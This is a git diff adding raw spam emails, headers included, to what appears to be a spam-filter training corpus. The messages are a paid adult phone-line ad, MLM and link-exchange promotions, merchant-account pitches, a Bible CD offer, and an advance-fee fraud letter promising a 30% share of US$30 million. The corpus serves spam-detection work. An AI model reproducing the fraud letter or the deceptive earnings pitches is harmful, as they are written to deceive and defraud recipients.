+ + +

    +Talk on Tele with locals in your area who want to meet for real encounters. + No pre recorded bull this is the real deal. +

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    + +For CA callers try our special California line, California is so popular we had to create a seperate system just for them +

    +: 1-900-505-7575. +

    +must be 18+ be careful when making sexual dates and meetings. Cali 900# is $1.99 per min + + + +211075433222 diff --git a/bayes/spamham/spam_2/00028.60393e49c90f750226bee6381eb3e69d b/bayes/spamham/spam_2/00028.60393e49c90f750226bee6381eb3e69d new file mode 100644 index 0000000..8a4b069 --- /dev/null +++ b/bayes/spamham/spam_2/00028.60393e49c90f750226bee6381eb3e69d @@ -0,0 +1,33 @@ +From YourMembership@AEOpublishing.com Mon Jun 25 21:59:46 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from rovdb001.roving.com (rovdb001.roving.com [216.251.239.53]) + by mail.netnoteinc.com (Postfix) with ESMTP id 3FDCF114E00 for + ; Mon, 25 Jun 2001 21:59:31 +0100 (IST) +Received: from rovweb002 (unknown [10.208.80.86]) by rovdb001.roving.com + (Postfix) with ESMTP id 5BB32C07E for ; Mon, + 25 Jun 2001 16:59:10 -0400 (EDT) +From: 'Your Membership' Editor +To: yyyy@netnoteinc.com +Subject: Your Membership Exchange, Issue #422 +X-Roving-Queued: 20010625 16:53.51406 +X-Roving-Version: 4.1.patch33.FB1_ListRental_06_22_01.FixUps2 +X-Mailer: Roving Constant Contact 4.1.patch33.FB1_ListRental_06_22_01.FixU + ps2 (http://www.constantcontact.com) +X-Roving-Id: 993495729828 +Message-Id: <20010625205910.5BB32C07E@rovdb001.roving.com> +Date: Mon, 25 Jun 2001 16:59:10 -0400 (EDT) + + +--646007810.993513231406.JavaMail.RovAdmin.rovweb002 +Content-Type: text/plain; charset=iso-8859-1 + +______________________________________________________Your Membership Exchange Issue #422 <> 06-25-01Your place to exchange ideas, ask questions, swap links, and share your skills!____________________________________________________________________________________________________________You are a member in at least one of these programs - You should be in them all!www.BannersGoMLM.comwww.ProfitBanners.comwww.CashPromotions.comwww.MySiteInc.comwww.TimsHomeTownStories.comwww.FreeLinksNetwork.comwww.MyShoppingPlace.comwww.BannerCo-op.comwww.PutPEEL.comwww.PutPEEL.netwww.SELLinternetACCESS.comwww.Be-Your-Own-ISP.comwww.SeventhPower.com______________________________________________________Today's Special Announcement:We can help you become an Internet Service provider within 7 daysor we will give you $100.00!! http://www.SELLinternetACCESS.comclick hereWe have already signed 300 ISPs on a 4 year contract, see if anyare in YOUR town at: http://www.Find-Local-ISP.com click here____________________________________________________________________________________________________________Be sure to examing today's Showcases for sites who WILL trade links with you!>> RESOURCE BOARD P. Steeves: Internet Explorer Hint w/ "Image Toolbar">> Q & A QUESTIONS: - Unblocking sites so I can access?>> MEMBER SHOWCASES>> MEMBER *REVIEWS* - Sites to Review: #122 & #123! - Three New Sites to Review! - Site #121 Reviewed! - Vote on Your Favorite Website Design!______________________________________________________>>>>>>>>>>> RESOURCE BOARD <<<<<<<<<<<<Subject: Internet Explorer Hint w/ "Image Toolbar"I updated to Internet Explorer Version: 6.00.2462.0000 a fewweeks ago. I am now receiving less BOMBS when I am on-line;therefore, I believe it is better than the last version.There is, though, one little agonizing message "Image Toolbar"that pops up every time you pass the mouse over an image.It asks whether you want to save or print the image. UGH,what a pest.Hurrah, you can get rid of the Image Toolbar. Justperform a Right Mouse Click over the Image Toolbar.It will allow you to disable the Image Toolbar forthis session or forever. If you want to re-establishthe Image Toolbar just go to the Internet OptionsControl Panel and you can turn the Image Toolbar back on.Remember, a right mouse click over any Windows Icon,Window, tool bar, the Desktop, and most other Windowsentities will list loads of information. Use it, getthe hang of it, you'll like it.Peter A. Steeves, B.Sc., M.Sc., Ph.D., P.Eng.Geomatics EngineerGeodetic Software SystemsLogical@idirect.comhttp://www.GSSGeomatics.com______________________________________________________>>>>>>>>>>>>> QUESTIONS & ANSWERS <<<<<<<<<<<<<<Subject: Unblocking sites so I can access?I am currently living in a place where the ISP is blocking 50% of the web.I was told by someone that you can unblock these web sites by usinga proxy, but I don't know what that means. I am wondering is there away to get access to these sites?CJcj5000@post.com______________________________________________________>>>>>>>>>>>>> WEBSITE SHOWCASES <<<<<<<<<<<<<<>>>>>> MEMBER *REVIEWS* <<<<<<<click here to edit your preferences, or copy the following URL into your browser:
    +--646007810.993513231406.JavaMail.RovAdmin.rovweb002 +Content-Type: text/html; charset=iso-8859-1 + + Your Membership Exchange, Issue #422______________________________________________________
    YourMembership Exchange
     Issue#422   <>   06-25-01
    Yourplace to exchange ideas, ask questions, swap links, and share your skills!
    ______________________________________________________
    ______________________________________________________
    Youare a member in at least one of these programs - You should be in themall!
    www.BannersGoMLM.com
    www.ProfitBanners.com
    www.CashPromotions.com
    www.MySiteInc.com
    www.TimsHomeTownStories.com
    www.FreeLinksNetwork.com
    www.MyShoppingPlace.com
    www.BannerCo-op.com
    www.PutPEEL.com
    www.PutPEEL.net
    www.SELLinternetACCESS.com
    www.Be-Your-Own-ISP.com
    www.SeventhPower.com
    ______________________________________________________
    Today'sSpecial Announcement:

    Wecan help you become an Internet Service provider within 7 days
    orwe will give you $100.00!!   http://www.SELLinternetACCESS.com
    click here
    Wehave already signed 300 ISPs on a 4 year contract, see if any
    arein YOUR town at:  http://www.Find-Local-ISP.com clickhere
    ______________________________________________________
    ______________________________________________________
    Besure to examing today's Showcases for sites who WILL trade links with you!

    >>RESOURCE BOARD
        P. Steeves: Internet Explorer Hint w/ "Image Toolbar"

    >>Q & A
        QUESTIONS:
         - Unblocking sites so I can access?

    >>MEMBER SHOWCASES

    >>MEMBER *REVIEWS*
        - Sites to Review: #122 & #123!
        - Three New Sites to Review!
        - Site #121 Reviewed!
        - Vote on Your Favorite Website Design!
    ______________________________________________________
     

    >>>>>>>>>>>RESOURCE BOARD <<<<<<<<<<<<<

    Haveyou found a way to make your life online a little easier?
    Anew software program you can't live without, a tip that solves
    oneof those annoying problems? Share it!
    Besure to include your signature file so you get credit (and exposure
    toyour site). -- But NO self promotion or affiliate program links! --
    mailto:MyInput@AEOpublishing.com

    ++++Resource Post #1 ++++

    From:Peter A Steeves
    Subject:Internet Explorer Hint w/ "Image Toolbar"

    Iupdated to Internet Explorer Version: 6.00.2462.0000 a few
    weeksago. I am now receiving less BOMBS when I am on-line;
    therefore,I believe it is better than the last version.

    Thereis, though, one little agonizing message "Image Toolbar"
    thatpops up every time you pass the mouse over an image.
    Itasks whether you want to save or print the image. UGH,
    whata pest.

    Hurrah,you can get rid of the Image Toolbar. Just
    performa Right Mouse Click over the Image Toolbar.
    Itwill allow you to disable the Image Toolbar for
    thissession or forever. If you want to re-establish
    theImage Toolbar just go to the Internet Options
    ControlPanel and you can turn the Image Toolbar back on.

    Remember,a right mouse click over any Windows Icon,
    Window,tool bar, the Desktop, and most other Windows
    entitieswill list loads of information. Use it, get
    thehang of it, you'll like it.

    PeterA. Steeves, B.Sc., M.Sc., Ph.D., P.Eng.
    GeomaticsEngineer
    GeodeticSoftware Systems
    Logical@idirect.com
    http://www.GSSGeomatics.com

    ______________________________________________________
     

    >>>>>>>>>>>>>QUESTIONS & ANSWERS <<<<<<<<<<<<<<<

    Doyou a burning question about promoting your website, html design,
    oranything that is hindering your online success? Submit your questions
    tomailto:MyInput@AEOpublishing.com
    Areyou net savvy? Have you learned from your own trials and errors and
    arewilling to share your experience? Look over the questions each day,
    andif you have an answer or can provide help, post your answer to
    mailto:MyInput@AEOpublishing.com  Be sure to include your signature
    fileso you get credit (and exposure to your site).

    QUESTIONS:

    From:CJ 
    Subject:Unblocking sites so I can access?

    Iam currently living in a place where the ISP is blocking 50% of the web.

    Iwas told by someone that you can unblock these web sites by using
    aproxy, but I don't know what that means. I am wondering is there a
    wayto get access to these sites?

    CJ
    cj5000@post.com

    ______________________________________________________
     

    >>>>>>>>>>>>>WEBSITE SHOWCASES <<<<<<<<<<<<<<<

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    ______________________________________________________
     

    >>>>>>>MEMBER *REVIEWS* <<<<<<<<

    Visitthese sites, look for what you like and any suggestions
    youcan offer, and send your critique to MyInput@AEOpublishing.com
    And,after reviewing three sites, your web site will be added to
    thelist! It's fun, easy, and it's a great opportunity to give
    somehelp and receive an informative review of your own site.
    Plus,you can also win a chance to have your site chosen for
    afree website redesign.  One randomly drawn winner each month!

    SITESTO REVIEW:

    Site#122: http://www.newlinepubs.com
    GlennGehrke
    magician@foxinternet.net

    Site#123: http://netsbestinfo.homestead.com/nbi.html
    Dennis
    damorganjr@yahoo.com

    Site#124: http://www.BestWayToShop.com
    DalePike
    rhinopez@aol.com

    Site#125: http://www.wedeliverparties.com
    DawnClemons
    dclemons7@home.com

    Site#126: http://www.EClassifiedshq.com
    CarolCohen
    Opp0rtunity@aol.com

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    SITEREVIEWED

    Commentson #121: http://www.angelfire.com/fl3/mrstgifts
    Site#121: http://www.angelfire.com/fl3/mrstgifts
    ShirleyTuretsky
    interactiveopinions@email.com
    ~~~~

    Iguess this is just a fun site where someone is experimenting with a lotof web
    techniques.It is a bit slow loading as would be the case with so much animation.
    Iguess it will always be slow with all that. I do not like pop up pagesand there
    wasone that kept doing that. Some of the pages were really pretty but the
    animationdid not fit the mood of the page. A tremendous amout of work has
    beenput into the page. There are so many places to host websites inexpensively,
    whydon't you have your own domain? You ought to check into that.
    ~~~~

    Thisis a very lovely site, the graphics are awesome and the games are fun
    aswell. You may want to look into purchasing your own domain name and
    ahost that offers bannerless hosting (at least without the pop-ups).
    ~~~~

    Hmm...too much input! There's way too much loading on this page. I don't
    likethe wav file loading and though I didn't here anything windows prompted
    mefor a MP3 decoder, so I presume one of those was loading as well. Some
    ofthe links are pretty cool but perhaps the main menu should be also text
    basedor smaller gifs and put on the index page. For a minute I didn't know
    whereto go.
    ~~~~

    Thiswas a neat site.  The site was original and I could tell that Mrs.T certainly
    seemsto enjoy working on her site.  The graphics were pretty, or funny,
    dependingon each one, but well arranged. But, the text on the home page
    wasgoing from the left side to the right side with no margins so it overlapped
    theleft rose border. I'd suggest moving the margins in a little bit. Also, I think
    usinga sans-serif font like arial would be easier to read, though I did likehow
    thefont color matched the flowers. BTW, I was viewing the site with internet
    explorer.

    Idon't think you need the 'welcome' on both the home page and the site guide
    page,it's overkill. I also didn't figure out the association between mrstgifts,
    interactiveopinions, and a site on graphics. Relating the name of your site to
    thesite content helps when new visitors visit.

    Onyour home page you say something about trying to design your own graphics.
    Ifyou do so, try starting with a logo for your site. I realize you are showing
    differentpictures and styles, but it would be nice to have a logo or the same
    pictureon each page so it's easy to tell I'm still visiting the same website.On
    yourarticles page it was hard to see the titles by the earth graphics because
    ofthe background colors. Maybe putting them in a table with the background
    behindthat would work better.

    Lookfor a host that doesn't use pop-ups - I would have checked out more
    pagesbut I hated getting those pop-ups each time I clicked to a new page.
    Iwent to your articles site and that was at homestead - that bar is mucheasier
    todeal with than the pop-ups. I'd suggest moving your whole site there.
    ~~~~

    Thisis an interesting site - it covers a large variety of subjects - not allof which
    Ivisited - and it has something for every member of the family, however,most
    ofit is for either mothers or the kids. She even has some games to play -good
    forsmaller kids, too! Mrs. T., as she is known, is quite creative - and Iwould
    recommendthis site for the whole family.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    VOTEON YOUR FAVORITE WEBSITE DESIGN!

    Helpout the winner of the free website redesign by voting for
    YOURfavorite!

    Youcan help out Teddy at http://www.links4profit.comby taking a
    lookat his site, then checking out the three new layouts Jana of
    AkkaBayDesigns http://AkkaBay.com has designedspecifically
    forhim.  After you've visited all three, vote for your favorite.
    Tomake this as easy as possible for you, just click on the e-mail
    addressthat matches your choice - you do not need to enter
    anyinformation in the subject or body of the message.

    Ihave included a note from Jana, and the links to Teddy's
    currentsite along with the three new designs:

    FromJana: The pages have been created as non-frame pages
    althoughwith minor modification, the pages could be adapted
    foruse in a frames environment

    Pleasetake a look at the existing site: http://www.links4profit.com

    Hereare the 3 redesigns:

    http://AkkaBay.com/links4profit/index.html
    Votefor this design:  mailto:design1@AEOpublishing.com

    http://AkkaBay.com/links4profit/index2.html
    Votefor this design:  mailto:design2@AEOpublishing.com

    http://AkkaBay.com/links4profit/index3.html
    Votefor this design:  mailto:design3@AEOpublishing.com

    Youwill have all of this week to vote (through June 29), and
    we'lllist the favorite and most voted for layout next week.
    Teddyof course will be able to choose his favorite, and
    colors,font style/size, backgrounds, textures, etc, can all
    easilybe changed on the "layout" that they like.

    Freewebsite re-designs and original graphics are provided to
    Redesignwinners courtesy of AkkaBay Designs. http://AkkaBay.com

    Ifyou have any questions about how this works or how you can
    participate,please email Amy at Moderator@AEOpublishing.com
    ______________________________________________________
    moderator:Amy Mossel
    posting: MyInput@AEOpublishing.com
    ______________________________________________________
    ______________________________________________________

    Sendposts and questions (or your answers) to:
      mailto:MyInput@AEOpublishing.com
    Pleasesend suggestions and comments to:
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    Tochange your subscribed address, send both new
    andold address to mailto:Moderator@AEOpublishing.com
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    +--646007810.993513231406.JavaMail.RovAdmin.rovweb002-- + + + diff --git a/bayes/spamham/spam_2/00029.cc0c62b49c1df0ad08ae49a7e1904531 b/bayes/spamham/spam_2/00029.cc0c62b49c1df0ad08ae49a7e1904531 new file mode 100644 index 0000000..8906a53 --- /dev/null +++ b/bayes/spamham/spam_2/00029.cc0c62b49c1df0ad08ae49a7e1904531 @@ -0,0 +1,73 @@ +From wjl74@usa.net Tue Jun 26 08:45:13 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from qxl-gw.man.poznan.pl (qxl-gw.man.poznan.pl [212.126.28.57]) + by mail.netnoteinc.com (Postfix) with ESMTP id DC3FA11929F for + ; Tue, 26 Jun 2001 08:45:03 +0100 (IST) +Received: from 203.243.112.4 (ppp60.yt.bellglobal.com [206.172.212.60]) by + qxl-gw.man.poznan.pl (8.11.3/8.11.0) with SMTP id f5Q7PHp81463; + Tue, 26 Jun 2001 09:25:18 +0200 (CEST) (envelope-from wjl74@usa.net) +Message-Id: <00005f0f1268$00000eec$000055e1@210.104.41.3> +To: +From: wjl74@usa.net +Subject: The Hottest Business In America is Open..Everyone Welcome +Date: Tue, 26 Jun 2001 00:01:22 -0700 +X-Priority: 3 +X-Msmail-Priority: Normal + + +There Are Only A Few Things Needed to Be Successful: + +You need a multi-billion dollar, ground floor opportunity with the most +sought after product in an untapped market that has people clearing $60,000 +their first month and $20,000 per week after 8 weeks. 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+X-Msmail-Priority: High +Subject: READ---SHIPPING INSTRUTIONS--FOR YOUR ORDER +Sender: "" <> +MIME-Version: 1.0 +Date: Tue, 26 Jun 2001 08:00:31 -0400 +Message-Id: <20010626120405.BA5DD130028@mail.netnoteinc.com> + + +This is a multipart MIME message. + +--= Multipart Boundary 0626010800 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit + + + + + + + to remove your address per--fed.--law + print remove in subject line to----------- + route69@biker.com + +--= Multipart Boundary 0626010800 +Content-Type: application/octet-stream; + name="bill redmond sports store.htm" +Content-Transfer-Encoding: base64 +Content-Disposition: attachment; + filename="bill redmond sports store.htm" + +PCEtLSBCdWxsc2V5ZSBjb2RlIC0tPg0NCjxodG1sPg0NCjxoZWFkPg0NCiAg +PHRpdGxlPkJJTEwgUkVETU9ORCBTUE9SVFM6IEZyb20gVGVhbSBTcG9ydHMg +VG8gQmFja3lhcmQgRnVuPC90aXRsZT4NDQogIDxNRVRBIG5hbWU9ImRlc2Ny +aXB0aW9uIiBjb250ZW50PSJQb3dlcmVkIGJ5IFZzdG9yZSI+DQ0KICA8TUVU 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+bmJzcDsNDQogIDwvdGQ+DQ0KPC90cj4NDQo8L3RhYmxlPg0NCjwvQk9EWT4N +DQo8L0hUTUw+DQ0K + +--= Multipart Boundary 0626010800-- + + diff --git a/bayes/spamham/spam_2/00031.e50cc5af8bd1131521b551713370a4b1 b/bayes/spamham/spam_2/00031.e50cc5af8bd1131521b551713370a4b1 new file mode 100644 index 0000000..e7709a1 --- /dev/null +++ b/bayes/spamham/spam_2/00031.e50cc5af8bd1131521b551713370a4b1 @@ -0,0 +1,59 @@ +From mikeedo@emailisfun.com Wed Jun 27 04:56:45 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from ns.mediline.co.in (unknown [203.197.32.212]) by + mail.netnoteinc.com (Postfix) with ESMTP id 43F82130028 for + ; Wed, 27 Jun 2001 04:56:44 +0100 (IST) +Received: from gw02_[192.168.224.26] ([4.16.194.53]) by ns.mediline.co.in + with Microsoft SMTPSVC(5.0.2195.1600); Wed, 27 Jun 2001 09:28:59 +0530 +Received: from mail3.emailisfun.com by gw02 with ESMTP; Tue, + 26 Jun 2001 23:01:39 -0400 +Message-Id: <00007409198a$00006e26$00006c63@mail3.emailisfun.com> +To: +From: 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    + + + + + + + + diff --git a/bayes/spamham/spam_2/00033.53ab3a0f8862eb0c12fa6eb3d04badbb b/bayes/spamham/spam_2/00033.53ab3a0f8862eb0c12fa6eb3d04badbb new file mode 100644 index 0000000..aebf7d6 --- /dev/null +++ b/bayes/spamham/spam_2/00033.53ab3a0f8862eb0c12fa6eb3d04badbb @@ -0,0 +1,65 @@ +From hgreene6g87@hotmail.com Wed Jun 27 07:44:44 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from mail.chinabal.com (unknown [210.83.130.50]) by + mail.netnoteinc.com (Postfix) with ESMTP id 8B428130028 for + ; Wed, 27 Jun 2001 07:44:43 +0100 (IST) +Received: from 63.178.94.231 (sdn-ar-008nybuffP191.dialsprint.net + [63.178.94.231]) by mail.chinabal.com (Postfix) with SMTP id 9B4AB22C8F; + Wed, 27 Jun 2001 14:40:49 +0800 (CST) +Message-Id: <000039cd0331$000065fb$00000087@> +To: +From: hgreene6g87@hotmail.com +Subject: Inside the biker world +Date: Tue, 26 Jun 2001 23:27:46 -0400 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 1 +X-Msmail-Priority: High + + + + + + kjhkjh hghg jhgjhjgvjh
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    + + + + diff --git a/bayes/spamham/spam_2/00034.cac95512308c52cfba33258e46feff97 b/bayes/spamham/spam_2/00034.cac95512308c52cfba33258e46feff97 new file mode 100644 index 0000000..63e36fa --- /dev/null +++ b/bayes/spamham/spam_2/00034.cac95512308c52cfba33258e46feff97 @@ -0,0 +1,83 @@ +From chol2001948@bellsouth.net Wed Jun 27 08:46:51 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from SMTP.akdn.ch (unknown [194.235.57.156]) by + mail.netnoteinc.com (Postfix) with ESMTP id EC1EB130028 for + ; Wed, 27 Jun 2001 08:46:48 +0100 (IST) +Received: from ak_pub.akdn.ch ([212.243.38.51]) by SMTP.akdn.ch with + Microsoft SMTPSVC(5.0.2195.2966); Wed, 27 Jun 2001 09:47:52 -0700 +Received: from 123MidXzt (204.33.127.198 [204.33.127.198]) by + ak_pub.akdn.ch with SMTP (Microsoft Exchange Internet Mail Service Version + 5.5.2653.13) id MTSHHHCF; Wed, 27 Jun 2001 09:45:16 +0100 +Date: 27 Jun 01 3:36:25 AM +From: chol2001948@bellsouth.net +Message-Id: +Received: From earthlink.pub.atlga(201.357.369.35) by + junodialup(3.4.6.8)65d4rg654g;Wed, 27 Jun 2001 3:36:25 -400 (EDT) +Received: From websamtoh.santoh.com ([203.238.163.51]) by harra.de + ([38.93.90.22]) ;Wed, 27 Jun 2001 3:36:25 -400 (EDT) +Received: From mail.e-cbc.com ([210.73.97.112]) by indago.ca + [38.33.20.22] ;Wed, 27 Jun 2001 3:36:25 -400 (EDT) +Subject: THE BIBLE ON CD-ROM ..1948 +X-Originalarrivaltime: 27 Jun 2001 16:47:52.0948 (UTC) FILETIME=[E86B1340: + 01C0FF28] +To: undisclosed-recipients:; + + +Dear Friend: + +Find solutions to all your daily problems and life's challenges at the click of a mouse button? + +We have the answers you're looking for on The Word Bible CD-ROM it is one of the most powerful, life-changing tools available today and it's easy to use. + +On one CD, (Windows or Macintosh versions) you have a complete library of Bibles, well known reference books and study tools. You can view several Bible versions simultaneously, make personal notes, print scriptures and search by word, phrase or topic. + +The Word Bible CD offers are simply amazing. + +The wide range of resources on the CD are valued at over $1,500 if purchased separately. + +** 14 English Bible Versions +** 32 Foreign Language Versions +** 9 Original Language Versions +** Homeschool Resource Index +** 17 Notes & Commentaries +** Colorful Maps, Illustrations, & Graphs +** Step-by-Step Tutorial +** Fast & Powerful Word/Phrase Search +** More than 660,000 cross references +** Complete Manual With Index + +Also: + +** Build a strong foundation for dynamic Bible Study, +** Make personal notes directly into your computer, +** Create links to favorite scriptures and books. + + +Try it. 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Build your relationship with God so you can reap the life-changing benefits only He can provide: unconditional love; eternal life; financial and emotional strength; health; and solutions to every problem or challenge you'll ever face. + +May God Bless You, +GGII Ministries, 160 White Pines Dr., Alpharetta Ga, 30004 +E-mail address:Bible-CD@minister.com +Phone: 770-343-9724 + +****************************************** + +We apologize if you are not interested in being on our Bible News e-mail list. The Internet is the fastest method of distributing this type of timely information. If you wish to have your e-mail address deleted from our Bible News e-mail database, DO NOT USE THE REPLY BUTTON. THE FROM ADDRESS DOES NOT GO TO OUR REMOVE DATABASE. Simply click here to send an e-mail that will remove your address from the database: mailto:rm6920@post.com?subject=offlist + + + + + diff --git a/bayes/spamham/spam_2/00035.bd7183c238b884a153ad4888fbee9bf6 b/bayes/spamham/spam_2/00035.bd7183c238b884a153ad4888fbee9bf6 new file mode 100644 index 0000000..be123b4 --- /dev/null +++ b/bayes/spamham/spam_2/00035.bd7183c238b884a153ad4888fbee9bf6 @@ -0,0 +1,58 @@ +From 2b1lf@msn.com Thu Jun 28 07:30:16 2001 +Return-Path: <2b1lf@msn.com> +Delivered-To: yyyy@netnoteinc.com +Received: from bnfep04.boone.winstar.net (bnfep04e.boone.winstar.net + [63.140.240.58]) by mail.netnoteinc.com (Postfix) with ESMTP id + A1C98130029 for ; Thu, 28 Jun 2001 07:30:15 +0100 + (IST) +Received: from mail.amazinc.com ([63.141.67.122]) by + bnfep04.boone.winstar.net with ESMTP id + <20010628063014.GVOV402.bnfep04@mail.amazinc.com>; Thu, 28 Jun 2001 + 02:30:14 -0400 +Received: by mail.amazinc.com from localhost (router,SLMail V3.2); + Thu, 28 Jun 2001 02:32:27 -0400 +Received: from zhmwx.msn.com [64.14.243.42] by mail.amazinc.com + [192.168.100.5] (SLmail 3.2.3113) with SMTP id + D98765276B2411D59A560050DA064444 for plus 47 more; + Thu, 28 Jun 2001 02:32:27 -0400 +From: 2b1lf@msn.com +To: nw410@msn.com +Reply-To: katiayackel556@excite.com +Subject: Something EVERY Business Needs! [6ywab] +Date: Thu, 28 Jun 2001 02:32:27 -0400 +Message-Id: <20010628023227.d98765276b2411d59a560050da064444.in@mail.amazinc.com> +X-Sluidl: CFDE4221-6B8811D5-9A560050-DA064444 + + +Something EVERY business needs, a Merchant Account! + +A Merchant Account is the hardware and software which +gives you the ability to allow customers to pay using +any credit card such as Visa, Master Card, American +Express, Discover etc., and other forms of payment such +as e-Checks, Debit Cards and secure Internet based +payment. + +We offer several different packages, any of which can +be custom tailored to your needs. Services are currently +provided to the United States and Canada. + +To make a purchase or ask questions regarding our +services, please reply to this email with your full +name, phone number (with area/country code) and if +possible a good time to call. You are under no +obligations. A sales rep will contact you and will be +able to address any of your questions or needs. + +Thank you + + + +*** +To be removed from our mailing list, reply to this +email with the word 'Remove' in the subject line. +*** + + + + diff --git a/bayes/spamham/spam_2/00036.5b5e714c8d5b1050a392e55c42070f2c b/bayes/spamham/spam_2/00036.5b5e714c8d5b1050a392e55c42070f2c new file mode 100644 index 0000000..d2b82cc --- /dev/null +++ b/bayes/spamham/spam_2/00036.5b5e714c8d5b1050a392e55c42070f2c @@ -0,0 +1,57 @@ +From o6a4nwav@msn.com Thu Jun 28 07:35:41 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from bnfep04.boone.winstar.net (bnfep04e.boone.winstar.net + [63.140.240.58]) by mail.netnoteinc.com (Postfix) with ESMTP id + 48100130029 for ; Thu, 28 Jun 2001 07:35:41 +0100 (IST) +Received: from mail.amazinc.com ([63.141.67.122]) by + bnfep04.boone.winstar.net with ESMTP id + <20010628063540.GWWZ402.bnfep04@mail.amazinc.com>; Thu, 28 Jun 2001 + 02:35:40 -0400 +Received: by mail.amazinc.com from localhost (router,SLMail V3.2); + Thu, 28 Jun 2001 02:37:53 -0400 +Received: from tgygu.msn.com [64.14.243.42] by mail.amazinc.com + [192.168.100.5] (SLmail 3.2.3113) with SMTP id + D98765476B2411D59A560050DA064444 for plus 47 + more; Thu, 28 Jun 2001 02:37:52 -0400 +From: o6a4nwav@msn.com +To: 9s6h@msn.com +Reply-To: katiayackel556@excite.com +Subject: Something EVERY Business Needs! [wxv4m] +Date: Thu, 28 Jun 2001 02:37:53 -0400 +Message-Id: <20010628023753.d98765476b2411d59a560050da064444.in@mail.amazinc.com> +X-Sluidl: CFDE42A2-6B8811D5-9A560050-DA064444 + + +Something EVERY business needs, a Merchant Account! + +A Merchant Account is the hardware and software which +gives you the ability to allow customers to pay using +any credit card such as Visa, Master Card, American +Express, Discover etc., and other forms of payment such +as e-Checks, Debit Cards and secure Internet based +payment. + +We offer several different packages, any of which can +be custom tailored to your needs. Services are currently +provided to the United States and Canada. + +To make a purchase or ask questions regarding our +services, please reply to this email with your full +name, phone number (with area/country code) and if +possible a good time to call. You are under no +obligations. A sales rep will contact you and will be +able to address any of your questions or needs. + +Thank you + + + +*** +To be removed from our mailing list, reply to this +email with the word 'Remove' in the subject line. +*** + + + + diff --git a/bayes/spamham/spam_2/00037.c7f0ce13d4cad8202f3d1a02b5cc5a1d b/bayes/spamham/spam_2/00037.c7f0ce13d4cad8202f3d1a02b5cc5a1d new file mode 100644 index 0000000..7d904f1 --- /dev/null +++ b/bayes/spamham/spam_2/00037.c7f0ce13d4cad8202f3d1a02b5cc5a1d @@ -0,0 +1,126 @@ +From fork-admin@xent.com Mon Jul 22 18:14:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 93C58440DA + for ; Mon, 22 Jul 2002 13:13:26 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:13:26 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG32Y17344 for + ; Mon, 22 Jul 2002 17:03:02 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id UAA24802 for ; Sat, 20 Jul 2002 20:38:13 + +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 21A6F29409C; Sat, 20 Jul 2002 12:28:13 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from ok61576.com (unknown [64.86.155.148]) by xent.com (Postfix) + with SMTP id 9FA53294098 for ; Sat, 20 Jul 2002 12:28:03 + -0700 (PDT) +From: "MRS. REGINA ROSSMAN." +Reply-To: rossman55@mail.com +To: fork@spamassassin.taint.org +Date: Thu, 28 Jun 2001 20:38:06 +0100 +Subject: Urgent business proposal, +X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Message-Id: <20020720192803.9FA53294098@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6MG32Y17344 +Content-Transfer-Encoding: 8bit + + + +MRS. REGINA ROSSMAN. +#263 SANDTON CITY +JOHANNESBURG,SOUTH AFRICA. +E-MAIL: joel_rose1@mail.com + + +ATTN:ALHAJI + +With due respect, trust and humility, I write you this +proposal, which I believe, would be of great interest +to you. I am Mrs. regina Rossman, the wife of late Mr. +Joseph Rossman of blessed memory, before forces loyal +to +Major Johnny Paul Koromah killed my husband; he was +the Director General of Gold and Mining Corporation +(G.D.M.C.) of Sierra Leone. My husband was one of the +people targeted by the rebel forces. On the course of +the revolution in the country, prominent people were +hijacked from their homes to an unknown destination. + +Two days before his death, he managed to sneak a +written message to us, explaining his condition and +concerning one trunk box of valuables containing +money, which he concealed under the roof. He +instructed me to take our son and move out of Sierra +Leone, immediately to any neighboring country. The +powerful peace keeping force of the “(ECOMOG)” +intervened to arrest the situation of mass killings by +the rebels, which was the order of the day. +Eventually, it resulted into full war, I became a +widow overnight, helpless situation, without a partner +at the moment of calamity, and every person was +running for his life. My son and I managed to escape +to South Africa safely with the box and some documents +of property title. + +The cash involved inside the box was US$30 Million +(Thirty Million United States Dollars). Due to fear +and limited rights as a refugee, I deposited the items +with a private security company in order not to raise +an eyebrow over the box here in South Africa in my +son’s name JOEL R. ROSSMAN. Be informed that the real +content of the box was not disclosed. Meanwhile, I +want to travel out of South Africa entirely with this +money for investment in your country because of +political and economic stability and for future +benefit of my child. + + +I want you to assist us claim this box from the +security company and get the money into your private +account in your country so that we can invest the +money wisely. We have in mind to establish a rewarding +investment and good relationship with you. + + +Concerning the money, we are prepared to give you +reasonable percentage of 30% for your kind assistance. +Also, we have decided to set aside 5% of the total sum +for expenses that might be incurred by the parties in +the course of the transfer both locally and +externally. For the interest of this business, do not +hesitate to contact my son Mr. JOEL R. ROSSMAN on the +above e-mail address immediately you +receive this message for more information and to +enable +us proceed towards concluding all our arrangements. No +other person knows about this money apart from my son +and I. We await your most urgent response.please we +need your fax/phone numbers for esiear communication. + +Thanking you for your co-operation and God 